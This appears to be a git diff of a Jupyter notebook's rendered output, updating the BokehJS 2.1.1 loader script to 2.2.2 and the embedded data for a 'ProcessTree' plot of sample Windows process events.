{\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"8046\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2411\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2411\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -1384,7 +1615,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -1396,8 +1627,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = {\"f2335fdc-ff6b-4dad-b370-f3f9c49ee699\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"8049\"},{\"id\":\"8119\"}]},\"id\":\"8161\",\"type\":\"Row\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"8048\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8079\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"8082\",\"type\":\"Rect\"},{\"attributes\":{\"overlay\":{\"id\":\"8142\"}},\"id\":\"8138\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"below\":[{\"id\":\"8128\"}],\"center\":[{\"id\":\"8131\"},{\"id\":\"8135\"}],\"left\":[{\"id\":\"8132\"}],\"plot_height\":700,\"plot_width\":90,\"renderers\":[{\"id\":\"8154\"}],\"title\":{\"id\":\"8163\"},\"toolbar\":{\"id\":\"8143\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"8120\"},\"x_scale\":{\"id\":\"8124\"},\"y_range\":{\"id\":\"8122\"},\"y_scale\":{\"id\":\"8126\"}},\"id\":\"8119\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"8171\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"data_source\":{\"id\":\"8047\"},\"glyph\":{\"id\":\"8081\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"8082\"},\"selection_glyph\":null,\"view\":{\"id\":\"8084\"}},\"id\":\"8083\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"8139\",\"type\":\"SaveTool\"},{\"attributes\":{\"end\":19,\"start\":-2},\"id\":\"8054\",\"type\":\"Range1d\"},{\"attributes\":{\"overlay\":{\"id\":\"8157\"},\"x_range\":null,\"y_range\":{\"id\":\"8054\"}},\"id\":\"8156\",\"type\":\"RangeTool\"},{\"attributes\":{\"below\":[{\"id\":\"8060\"}],\"center\":[{\"id\":\"8063\"},{\"id\":\"8067\"},{\"id\":\"8092\"}],\"left\":[{\"id\":\"8064\"}],\"outline_line_color\":null,\"plot_height\":700,\"plot_width\":900,\"renderers\":[{\"id\":\"8083\"},{\"id\":\"8099\"},{\"id\":\"8106\"},{\"id\":\"8113\"}],\"title\":{\"id\":\"8050\"},\"toolbar\":{\"id\":\"8072\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"8052\"},\"x_scale\":{\"id\":\"8056\"},\"y_range\":{\"id\":\"8054\"},\"y_scale\":{\"id\":\"8058\"}},\"id\":\"8049\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"8115\",\"type\":\"FixedTicker\"},{\"attributes\":{},\"id\":\"8140\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.4},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"8048\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8079\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"8081\",\"type\":\"Rect\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"8117\",\"type\":\"FixedTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"8047\"},\"glyph\":{\"id\":\"8097\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"8098\"},\"selection_glyph\":null,\"view\":{\"id\":\"8100\"}},\"id\":\"8099\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"end\":6,\"start\":1},\"id\":\"8052\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"8141\",\"type\":\"HelpTool\"},{\"attributes\":{},\"id\":\"8120\",\"type\":\"DataRange1d\"},{\"attributes\":{\"text\":\"ProcessTree\"},\"id\":\"8050\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"8089\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"8156\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"8136\"},{\"id\":\"8137\"},{\"id\":\"8138\"},{\"id\":\"8139\"},{\"id\":\"8140\"},{\"id\":\"8141\"},{\"id\":\"8156\"}]},\"id\":\"8143\",\"type\":\"Toolbar\"},{\"attributes\":{\"factors\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"WORKGROUP\\\\MSTICAlertsWin1$\"],\"palette\":[\"#440154\",\"#208F8C\",\"#FDE724\"]},\"id\":\"8048\",\"type\":\"CategoricalColorMapper\"},{\"attributes\":{\"end\":19,\"start\":-1},\"id\":\"8122\",\"type\":\"Range1d\"},{\"attributes\":{\"source\":{\"id\":\"8047\"}},\"id\":\"8100\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"8090\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"range\":{\"id\":\"8052\"},\"value\":0.1},\"id\":\"8101\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"8047\"}},\"id\":\"8084\",\"type\":\"CDSView\"},{\"attributes\":{\"range\":{\"id\":\"8054\"},\"value\":0.25},\"id\":\"8102\",\"type\":\"Dodge\"},{\"attributes\":{\"range\":{\"id\":\"8054\"},\"value\":0.25},\"id\":\"8109\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"8124\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8101\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"8102\"}}},\"id\":\"8104\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"8091\",\"type\":\"Selection\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"8068\"},{\"id\":\"8069\"},{\"id\":\"8070\"},{\"id\":\"8071\"},{\"id\":\"8077\"}]},\"id\":\"8072\",\"type\":\"Toolbar\"},{\"attributes\":{\"items\":[{\"id\":\"8093\"}],\"title\":\"Account\"},\"id\":\"8092\",\"type\":\"Legend\"},{\"attributes\":{},\"id\":\"8126\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"8171\"},\"ticker\":{\"id\":\"8129\"},\"visible\":false},\"id\":\"8128\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis\":{\"id\":\"8060\"},\"grid_line_alpha\":0.1,\"grid_line_color\":\"navy\",\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"8117\"}},\"id\":\"8063\",\"type\":\"Grid\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8101\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"8102\"}}},\"id\":\"8105\",\"type\":\"Text\"},{\"attributes\":{\"label\":{\"field\":\"Account\"},\"renderers\":[{\"id\":\"8083\"}]},\"id\":\"8093\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"8169\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"8056\",\"type\":\"LinearScale\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"8142\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"callback\":null},\"id\":\"8071\",\"type\":\"TapTool\"},{\"attributes\":{\"source\":{\"id\":\"8047\"}},\"id\":\"8155\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"8129\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"8137\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"range\":{\"id\":\"8052\"},\"value\":0.1},\"id\":\"8094\",\"type\":\"Dodge\"},{\"attributes\":{\"axis\":{\"id\":\"8128\"},\"grid_line_color\":null,\"ticker\":null},\"id\":\"8131\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"8058\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"8070\",\"type\":\"SaveTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"8048\"}},\"height\":{\"units\":\"data\",\"value\":0.8},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8150\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"8153\",\"type\":\"Rect\"},{\"attributes\":{\"range\":{\"id\":\"8054\"},\"value\":-0.2},\"id\":\"8095\",\"type\":\"Dodge\"},{\"attributes\":{\"data_source\":{\"id\":\"8047\"},\"glyph\":{\"id\":\"8152\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"8153\"},\"selection_glyph\":null,\"view\":{\"id\":\"8155\"}},\"id\":\"8154\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"formatter\":{\"id\":\"8169\"},\"ticker\":{\"id\":\"8133\"},\"visible\":false},\"id\":\"8132\",\"type\":\"LinearAxis\"},{\"attributes\":{\"data\":{\"Account\":[\"NaN\",\"WORKGROUP\\\\MSTICAlertsWin1$\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"CommandLine\":[\"NaN\",\"cmd.exe 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11:51:38.777000\"],\"source_index\":[\"17\",\"0\",\"1\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"],\"source_index_par\":{\"__ndarray__\":\"AAAAAAAA+H8AAAAAAAD4fwAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBA\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]}},\"selected\":{\"id\":\"2455\"},\"selection_policy\":{\"id\":\"2456\"}},\"id\":\"2412\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2506\",\"type\":\"HelpTool\"},{\"attributes\":{\"end\":19,\"start\":-2},\"id\":\"2419\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2435\",\"type\":\"SaveTool\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2479\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2501\",\"type\":\"PanTool\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2433\"},{\"id\":\"2434\"},{\"id\":\"2435\"},{\"id\":\"2436\"},{\"id\":\"2442\"}]},\"id\":\"2437\",\"type\":\"Toolbar\"},{\"attributes\":{\"below\":[{\"id\":\"2425\"}],\"center\":[{\"id\":\"2428\"},{\"id\":\"2432\"},{\"id\":\"2457\"}],\"left\":[{\"id\":\"2429\"}],\"outline_line_color\":null,\"plot_height\":700,\"plot_width\":900,\"renderers\":[{\"id\":\"2448\"},{\"id\":\"2464\"},{\"id\":\"2471\"},{\"id\":\"2478\"}],\"title\":{\"id\":\"2415\"},\"toolbar\":{\"id\":\"2437\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"2417\"},\"x_scale\":{\"id\":\"2421\"},\"y_range\":{\"id\":\"2419\"},\"y_scale\":{\"id\":\"2423\"}},\"id\":\"2414\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"range\":{\"id\":\"2417\"},\"value\":0.1},\"id\":\"2466\",\"type\":\"Dodge\"},{\"attributes\":{\"formatter\":{\"id\":\"2533\"},\"ticker\":{\"id\":\"2494\"},\"visible\":false},\"id\":\"2493\",\"type\":\"LinearAxis\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2446\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2447\"},\"selection_glyph\":null,\"view\":{\"id\":\"2449\"}},\"id\":\"2448\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":0.25},\"id\":\"2467\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"2455\",\"type\":\"Selection\"},{\"attributes\":{\"range\":null,\"value\":-0.5},\"id\":\"2515\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2449\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2466\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2467\"}}},\"id\":\"2470\",\"type\":\"Text\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.4},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2444\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2446\",\"type\":\"Rect\"},{\"attributes\":{},\"id\":\"2494\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2453\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":-0.2},\"id\":\"2460\",\"type\":\"Dodge\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.6},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.8},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2515\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2517\",\"type\":\"Rect\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2476\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2477\"},\"selection_glyph\":null,\"view\":{\"id\":\"2479\"}},\"id\":\"2478\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2451\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"2456\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis\":{\"id\":\"2497\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2500\",\"type\":\"Grid\"},{\"attributes\":{\"text\":{\"field\":\"PID\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2473\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2474\"}}},\"id\":\"2477\",\"type\":\"Text\"},{\"attributes\":{\"axis\":{\"id\":\"2493\"},\"grid_line_color\":null,\"ticker\":null},\"id\":\"2496\",\"type\":\"Grid\"},{\"attributes\":{\"overlay\":{\"id\":\"2522\"},\"x_range\":null,\"y_range\":{\"id\":\"2419\"}},\"id\":\"2521\",\"type\":\"RangeTool\"},{\"attributes\":{},\"id\":\"2498\",\"type\":\"BasicTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"2535\"},\"ticker\":{\"id\":\"2498\"},\"visible\":false},\"id\":\"2497\",\"type\":\"LinearAxis\"}],\"root_ids\":[\"2526\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"c5166637-eb15-4773-90c5-052bb97b5d2e\",\"root_ids\":[\"2526\"],\"roots\":{\"2526\":\"a1f95d40-b5a2-43cb-9446-fb39ab858611\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -1424,7 +1655,7 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "8161" + "id": "2526" } }, "output_type": "display_data" @@ -1447,7 +1678,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -1617,7 +1848,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"8262\");\n", + " var el = document.getElementById(\"2611\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -1683,7 +1914,7 @@ " document.body.appendChild(element);\n", " }\n", "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", @@ -1708,7 +1939,7 @@ " }\n", "\n", " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", @@ -1737,7 +1968,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"8262\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"2611\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -1754,7 +1985,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
